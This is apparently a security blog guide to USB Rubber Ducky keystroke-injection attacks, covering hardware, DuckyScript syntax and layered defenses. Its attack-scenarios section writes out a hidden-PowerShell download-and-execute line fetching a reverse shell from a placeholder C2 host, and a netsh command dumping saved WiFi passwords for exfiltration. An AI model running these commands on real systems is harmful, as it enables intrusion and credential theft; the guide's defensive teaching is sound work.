usb-rubber-ducky-badusb-hid-attack-guide

USB Rubber Ducky: The Complete Guide to HID Attacks and Keystroke Injection

You find a USB drive labeled “CEO Salary 2026” in the parking lot. Curiosity wins. You plug it in. Within three seconds, your passwords vanish. You clicked nothing. You approved nothing. What happened?

This is the classic “Candy Drop” scenario that security professionals use to demonstrate one of the most elegant attack vectors in modern penetration testing. While organizations spend millions on firewalls, intrusion detection systems, and endpoint protection, the USB Rubber Ducky bypasses all of it by exploiting something far more fundamental: the implicit trust computers place in keyboards.

Your operating system has no firewall for keyboard input. If you can type it, the OS will execute it. The USB Rubber Ducky weaponizes this architectural trust by masquerading as a Human Interface Device rather than a storage drive. It hacks systems by mimicking the one peripheral your computer is programmed never to question.

The threat is not theoretical. According to Honeywell’s 2024 USB Threat Report, 51% of malware attacks are now designed specifically for USB devices—a six-fold increase from 9% in 2019. State-sponsored threat groups including China’s Camaro Dragon and Russia’s Gamaredon actively leverage USB devices as primary infection vectors. In Q1 2025 alone, one in four cybersecurity incidents handled by industrial response teams involved USB plug-and-play events.

This guide breaks down the mechanics, hardware ecosystem, scripting language, real-world attack scenarios, and defensive countermeasures every security practitioner needs to understand.


Understanding HID Spoofing: The Foundation of Keyboard Attacks

Technical Definition

HID Spoofing occurs when a USB device identifies itself to the host computer as a Human Interface Device—specifically a keyboard or mouse—rather than a mass storage device. The operating system accepts this self-declaration at face value because USB device enumeration relies on trust rather than verification.

The Analogy

Picture a bank robber wearing the uniform of a high-ranking security guard. The vault opens because the uniform (the Device ID) is inherently trusted. Nobody verifies the person inside the uniform. The USB Rubber Ducky operates on identical principles—it wears the “uniform” of a keyboard, and every operating system opens the vault.

Under the Hood

When the Rubber Ducky connects to a target machine, a precise handshake sequence unfolds in milliseconds. The device announces specific identifiers that determine how the operating system responds.

PhaseActionTechnical Detail
ConnectionPhysical USB insertionDevice provides power draw signature
EnumerationDevice announces identitySends Vendor ID (VID) and Product ID (PID) as generic HID Keyboard
Driver LoadOS loads input driversStandard HID drivers activate automatically—no user prompt
Trust EstablishmentSystem accepts inputAll subsequent keystrokes treated as legitimate user input

The critical vulnerability lies in Phase 3. Operating systems—Windows, macOS, and Linux alike—automatically load standard HID keyboard drivers without requiring user permission. This design choice enables plug-and-play convenience for legitimate peripherals but creates an exploitable trust gap for malicious devices.

Pro-Tip: Organizations that implement “Disable USB Storage” policies believe they are protected. They are not. That policy blocks mass storage devices exclusively. A device announcing itself as a keyboard passes through without inspection because it never claims storage capability.


Keystroke Injection: Speed Weaponized

Technical Definition

Keystroke injection is the automated delivery of pre-programmed keyboard commands at superhuman speeds—frequently exceeding 1,000 words per minute. The technique transforms physical access into remote code execution by typing commands faster than any human could.

The Analogy

Imagine hiring the world’s fastest typist, handing them a specific script, and having them execute it the exact millisecond they gain keyboard access. That typist works for three dollars and never makes mistakes. That is what keystroke injection delivers.

See also  How to Secure Your Home WiFi: The Complete Router Hardening Guide for 2026

Under the Hood

Once the operating system recognizes the “keyboard,” the Rubber Ducky sends digital scan codes representing specific keypresses. These codes follow the USB HID specification exactly—the OS cannot distinguish them from legitimate human input.

Scan Code TypeExampleSystem Response
Modifier KeysGUI (Windows key), ALT, CTRLOpens system functions, triggers shortcuts
AlphanumericA-Z, 0-9Types characters into active window
Special KeysENTER, TAB, ESCExecutes commands, navigates interfaces
CombinationsGUI + R, CTRL + SHIFT + ESCTriggers system dialogs, opens Task Manager

The attack sequence typically follows a predictable pattern. First, the device opens a command interpreter (Run dialog, Terminal, PowerShell). Second, it types a payload—often a single command that downloads and executes malicious code. Third, it closes the window to eliminate visual evidence.

Critical Insight: The entire attack completes before most users register that anything happened. The Run dialog opens, commands type, and the window closes in under five seconds. Screen recording remains the most reliable forensic artifact.


The Hardware Ecosystem: Selecting Your Attack Platform

Security professionals have multiple hardware options for HID attacks. Each platform offers distinct advantages depending on engagement requirements, budget constraints, and operational security needs.

Hak5 USB Rubber Ducky

The professional standard for HID attacks. The current generation supports DuckyScript 3.0 with advanced logic, conditional execution, variables, and automatic OS detection. The device uses internal storage for multiple payloads and resembles an ordinary USB thumb drive.

SpecificationDetail
Form FactorStandard USB drive appearance
ScriptingDuckyScript 3.0 with variables, loops, conditionals
StorageMicroSD card for multiple payloads
OS DetectionPassive fingerprinting of Windows, macOS, Linux in ~1 second
Advanced FeaturesKeystroke Reflection, jitter, VID/PID spoofing
Price Range$60–$80 USD

Best Use Case: Professional penetration testing engagements where reliability and advanced payload capabilities justify the cost.

O.MG Cable

A weaponized USB cable that appears identical to standard charging cables. The O.MG platform embeds HID attack capabilities within the cable connector itself, making detection through visual inspection nearly impossible.

SpecificationDetail
Form FactorStandard USB-A, USB-C, or Lightning cable appearance
ScriptingDuckyScript compatible via Wi-Fi configuration
StorageInternal flash for payload storage
ConnectivityBuilt-in Wi-Fi for remote triggering and payload updates
StealthPasses visual and X-ray inspection as legitimate cable
Price Range$120–$180 USD

Best Use Case: Social engineering assessments and supply chain attack simulations where the attack vector must survive physical inspection.

Flipper Zero

A multi-tool device that includes dedicated BadUSB functionality. The Flipper stores DuckyScript files internally and allows payload selection via its screen interface. The tradeoff is form factor—the device does not blend into corporate environments.

SpecificationDetail
Form FactorHandheld device with screen (conspicuous)
ScriptingDuckyScript compatible
StorageInternal storage for multiple payloads
Additional FeaturesRFID, NFC, Sub-GHz, infrared
Price Range$150–$200 USD

Best Use Case: Security research labs, demonstrations, and multi-vector testing where the additional capabilities justify the form factor.

Digispark ATtiny85 (DIY)

A three-dollar microcontroller that transforms into an HID attack device through Arduino IDE programming. The board handles approximately 80% of standard injection tasks but lacks the storage capacity and advanced logic of purpose-built devices.

SpecificationDetail
Form FactorTiny exposed circuit board
ScriptingArduino C (requires compilation)
StorageSingle payload, burned to firmware
LimitationsNo advanced logic, limited keystroke speed
Price Range$2–$5 USD

Best Use Case: Disposable Red Team operations where hardware loss is expected. The negligible cost makes the Digispark ideal for high-risk physical drops where recovery is unlikely.


DuckyScript 3.0: The Language of HID Attacks

DuckyScript serves as the scripting language for keystroke injection attacks. Version 3.0 introduced significant capabilities that transformed simple macro execution into a full programming language with conditional logic, loops, and environmental awareness.

See also  AI Social Engineering: The Defense Guide Against the Perfect Scam

Basic Command Reference

Every DuckyScript payload builds from fundamental commands that map directly to keyboard actions.

CommandFunctionExample
DELAYPause execution (milliseconds)DELAY 500 waits half a second
GUIWindows/Command keyGUI r opens Run dialog
STRINGType alphanumeric charactersSTRING notepad types “notepad”
ENTERPress Enter keyExecutes typed commands
ALTAlt key modifierALT F4 closes active window
REMComment (ignored)REM This is a note
ATTACKMODEChange device emulationATTACKMODE HID STORAGE enables dual mode

DuckyScript 3.0 Advanced Features

The latest DuckyScript version introduced capabilities that dramatically expand attack sophistication.

FeatureFunctionUse Case
OS DetectionIF_OS WINDOWS / IF_OS MACOSDeploy OS-specific payloads automatically
Variables$MY_VAR = "value"Store and manipulate data during execution
LoopsWHILE TRUE / END_WHILERepeat actions until condition met
ConditionalsIF / ELSE / END_IFBranch execution based on environment
Keystroke ReflectionAutomatic layout detectionBypass keyboard layout mismatches
JitterRandom delay insertionEvade behavioral detection systems
VID/PID SpoofingCustom device identifiersImpersonate trusted keyboard models

Anatomy of a Basic Payload

The following payload demonstrates fundamental DuckyScript structure. It opens Notepad and types a message—harmless but instructive.

REM Basic demonstration payload
DELAY 1000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 500
STRING Security assessment in progress.

Line-by-line breakdown:

  • REM provides documentation (the device ignores this line)
  • DELAY 1000 waits one second for the OS to enumerate the device
  • GUI r opens the Windows Run dialog
  • DELAY 500 allows the dialog to render before typing
  • STRING notepad types the application name
  • ENTER launches Notepad
  • DELAY 500 waits for the application window
  • STRING types the payload message

Professional Workflow

Production payloads require encoding before deployment. The workflow follows a consistent pattern regardless of the specific hardware platform.

StepActionTool/Method
1. WriteCreate payload in text editorSave as .txt file
2. ValidateTest syntax and logicPayload Studio IDE
3. EncodeConvert text to binaryEncoder produces inject.bin
4. LoadTransfer to deviceCopy inject.bin to microSD
5. TestExecute in controlled environmentVerify against target OS
6. DeployExecute against authorized targetDocument results

Critical Warning: Every DELAY value represents a potential point of failure. Systems with slower hardware, heavy CPU load, or aggressive security software may require longer delays. Test payloads against representative target configurations before deployment.


Professional Realities: What the Tutorials Skip

Real-world HID attacks encounter complications that demonstration videos conveniently omit. Understanding these failure modes separates effective operators from script kiddies.

The Keyboard Layout Problem

A payload written for US QWERTY keyboards produces garbage on French AZERTY systems. The scan codes map to physical key positions, not logical characters.

US QWERTY InputFrench AZERTY OutputResult
STRING aTypes “q”Command fails
STRING powershellTypes “po,ershell”Command fails
STRING cmdTypes “c;d”Command fails

Solution: DuckyScript 3.0’s Keystroke Reflection feature solves this problem by detecting the target’s keyboard layout and adjusting scan codes automatically. Alternatively, professional payloads use universal ALT-codes (ASCII sequences) when targeting unknown layouts.

The Speed Trap

Injecting keystrokes faster than the operating system can process them causes payload failure. The Run dialog has an opening animation. PowerShell initializes before accepting input. Each window transition requires delay.

Common Failure Points:

  • Commands typed before the Run dialog renders
  • Second commands sent before first command executes
  • Application startup consuming typed characters

Pro-Tip: Start development with generous delays (1000ms+). Optimize downward only after confirming reliability. A slow payload that works beats a fast payload that fails. DuckyScript 3.0’s jitter feature adds random microsecond variations to evade detection while maintaining reliability.

Legal Boundaries

Physical access to a computer does not grant legal access. Unauthorized use of HID attack devices violates computer fraud statutes in virtually every jurisdiction. In the United States, the Computer Fraud and Abuse Act criminalizes unauthorized access regardless of whether data is exfiltrated.

See also  Shodan Search Engine Guide: The "Scariest" Search Engine (2026)
ActivityLegal Status
Testing on your own equipmentLegal
Testing under authorized penetration test agreementLegal
“Just checking” a colleague’s unlocked workstationIllegal
Dropping devices in public areasIllegal
Security research without written authorizationIllegal

Red Team operators require explicit written authorization before deploying HID attacks. The authorization document should specify the scope of physical access testing, identify approved targets by hostname or location, and establish incident response contacts.


Real-World Attack Campaigns: APT Groups Using HID Vectors

State-sponsored threat actors have adopted USB-based attack vectors for operations against high-value targets. These documented campaigns demonstrate the technique’s effectiveness against sophisticated defenders.

Camaro Dragon (China-Nexus)

Security researchers documented this threat group using USB devices to deliver SOGU malware across multiple industries in 2023-2024. The campaign specifically targeted air-gapped networks in government and defense sectors where network-based attacks cannot reach.

Gamaredon (Russia-Nexus)

This threat actor leveraged USB propagation as a primary infection vector for espionage operations targeting Ukrainian organizations. The malware spreads automatically to any USB device connected to an infected system, creating a self-propagating attack chain.

UNC4990 Campaign (2024-2025)

Mandiant researchers tracked this financially-motivated group distributing cryptocurrency mining malware via USB devices. The campaign demonstrated that HID-style attacks extend beyond espionage to cybercrime operations targeting computational resources.

Key Takeaway: If nation-state threat actors invest resources in USB-based attack vectors, the technique works against defended targets. Defenders cannot dismiss physical attack vectors as “too difficult” or “too obvious.”


Attack Scenarios: Practical HID Techniques

Understanding real-world attack applications helps defenders anticipate threats and helps authorized testers demonstrate impact.

Reverse Shell Establishment

The payload opens PowerShell and executes a one-liner that connects the victim machine to an attacker-controlled server. Once established, the attacker has full remote command execution on the target system.

Attack PhaseDuckyScript ActionSystem Effect
Shell LaunchGUI rSTRING powershell -w hiddenENTERHidden PowerShell window opens
Payload ExecutionSTRING IEX(New-Object Net.WebClient).DownloadString('http://[C2]/shell.ps1')Downloads and executes reverse shell
CleanupDELAY 2000STRING exitENTERCloses visible evidence
PersistenceRemote attacker has interactive shellFull system access achieved

WiFi Credential Harvesting

Windows stores saved WiFi passwords in plain text accessible via command-line utilities. A simple payload extracts all stored credentials and exfiltrates them.

The command netsh wlan show profile name=* key=clear returns every saved network name and its associated password. Attackers combine this with output redirection to encode and exfiltrate data via DNS queries or HTTP POST requests to attacker infrastructure.

Security Awareness Demonstration

Harmless payloads serve valuable training purposes. A script that rotates the display 180 degrees via CTRL + ALT + DOWN demonstrates the vulnerability without causing damage. Users who experience a “prank” attack remember the lesson far longer than those who only hear warnings.


Blue Team Defense: Stopping HID Attacks

Defending against HID attacks requires layered controls spanning physical security, endpoint policy, and behavioral detection.

Physical Layer Controls

ControlImplementationEffectiveness
USB Port BlockersPlastic inserts requiring physical key removalPrevents casual insertion
USB Data BlockersCharge-only adapters blocking data pinsAllows charging without HID functionality
Workstation PositioningPorts facing away from public accessIncreases attacker visibility
Port EpoxyPermanent port disablingExtreme but effective for kiosks

Endpoint Policy Controls

Operating system configuration can restrict which devices receive automatic driver loading.

Windows Group Policy Path:

Computer Configuration → Administrative Templates → System → Device Installation → Device Installation Restrictions

Enable “Prevent installation of devices not described by other policy settings” and whitelist approved keyboard hardware IDs.

Linux USBGuard Implementation:

CommandFunction
sudo usbguard generate-policy > /etc/usbguard/rules.confGenerate initial allowlist from connected devices
sudo usbguard list-devicesDisplay all recognized USB devices
sudo usbguard allow-device [id] -pPermanently allow specific device
sudo usbguard block-device [id] -pPermanently block specific device
sudo systemctl enable --now usbguardEnable USBGuard service

Example USBGuard Rule (Block HID devices with storage interfaces):

reject with-interface all-of { 08:*:* 03:00:* }
reject with-interface all-of { 08:*:* 03:01:* }

Behavioral Detection

The most sophisticated defense monitors typing patterns for non-human characteristics. Legitimate users type at 40–80 words per minute with irregular cadence. HID attacks type at 1,000+ WPM with machine-perfect timing.

Detection Indicators:

IndicatorThresholdResponse
Typing Speed>200 WPM sustainedLock workstation, alert SOC
Command Interpreter LaunchPowerShell/cmd within 5 seconds of USB insertionBlock execution, quarantine device
Keystroke RegularityZero variance in inter-key timingFlag as automated input

Several commercial EDR platforms—including CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint—include HID attack detection capabilities. Open-source implementations exist for organizations building custom detection stacks.

Pro-Tip: Effective defense combines all three layers. Physical controls deter casual attacks. Policy controls block unknown devices. Behavioral detection catches sophisticated attackers who bypass the first two layers.


Conclusion

The USB Rubber Ducky persists as an effective attack tool because it exploits architectural trust rather than software vulnerabilities. Patches cannot fix the fundamental design decision that keyboards receive implicit trust from operating systems.

Physical access translates to total access when defenders ignore HID attack vectors. The 2024-2025 threat landscape confirms this reality—with state-sponsored groups actively leveraging USB-based attacks against hardened targets and 51% of industrial malware now designed for USB delivery.

For penetration testers, HID attacks demonstrate impact that executive stakeholders immediately understand. For defenders, implementing layered controls—physical blockers, device whitelisting via USBGuard or Group Policy, and behavioral detection through EDR platforms—addresses the threat systematically.

The USB drive in the parking lot should stay in the parking lot. Build defenses assuming your users will plug it in anyway.


Frequently Asked Questions (FAQ)

Can antivirus software detect a USB Rubber Ducky attack?

Traditional antivirus solutions scan files for malicious signatures—but the Ducky is a keyboard, not a file. The device injects keystrokes that execute legitimate system commands. Endpoint Detection and Response (EDR) platforms offer better protection by flagging suspicious behavior patterns like terminal windows spawning and executing commands at superhuman speed.

Is owning a USB Rubber Ducky illegal?

Possession of HID attack hardware is legal in most jurisdictions when intended for security research and authorized testing. The illegality begins with unauthorized use. Plugging a Rubber Ducky into systems you do not own or lack explicit authorization to test violates computer fraud laws regardless of intent.

What distinguishes a Rubber Ducky from BadUSB?

“Rubber Ducky” refers specifically to the Hak5 product line. “BadUSB” describes the general class of vulnerabilities where USB devices masquerade as different device types. All Rubber Duckies exploit BadUSB vulnerabilities, but BadUSB attacks can originate from any reprogrammed USB device including modified flash drives, smartphones, and even weaponized cables like the O.MG platform.

Can I build a Rubber Ducky alternative for free?

Not entirely free, but extremely cheap. Microcontrollers like the Digispark ATtiny85 ($3-5) or Arduino Pro Micro ($5-8) can be programmed for HID attacks using the Arduino IDE. These budget alternatives handle most standard injection tasks but lack the advanced scripting, storage, and reliability of purpose-built devices.

How fast can a Rubber Ducky type?

Professional devices inject keystrokes at rates exceeding 1,000 words per minute—roughly 15 times faster than a professional typist. This speed allows complex payloads to execute in seconds. However, actual attack speed depends on target system responsiveness and appropriate delay configuration between commands.

What is Keystroke Reflection in DuckyScript 3.0?

Keystroke Reflection automatically detects the target system’s keyboard layout and adjusts scan codes accordingly. This feature solves the keyboard layout problem where payloads written for US QWERTY keyboards fail on international layouts like French AZERTY or German QWERTZ.


Sources & Further Reading

  • MITRE ATT&CK Framework, Technique T1200: Hardware Additions
  • Hak5 Documentation: Official DuckyScript 3.0 Language Reference
  • NIST Special Publication 800-53: Security and Privacy Controls (Access Control and Physical Security)
  • CISA Security Tips: Using Caution with USB Drives (ST08-001)
  • Honeywell 2024 USB Threat Report: Industrial Cybersecurity Analysis
  • USBGuard Project Documentation: Linux USB Device Authorization Framework
  • Red Hat Enterprise Linux Security Guide: Protecting Systems Against Intrusive USB Devices
Ready to Collaborate?

For Business Inquiries, Sponsorship's & Partnerships

(Response Within 24 hours)

Scroll to Top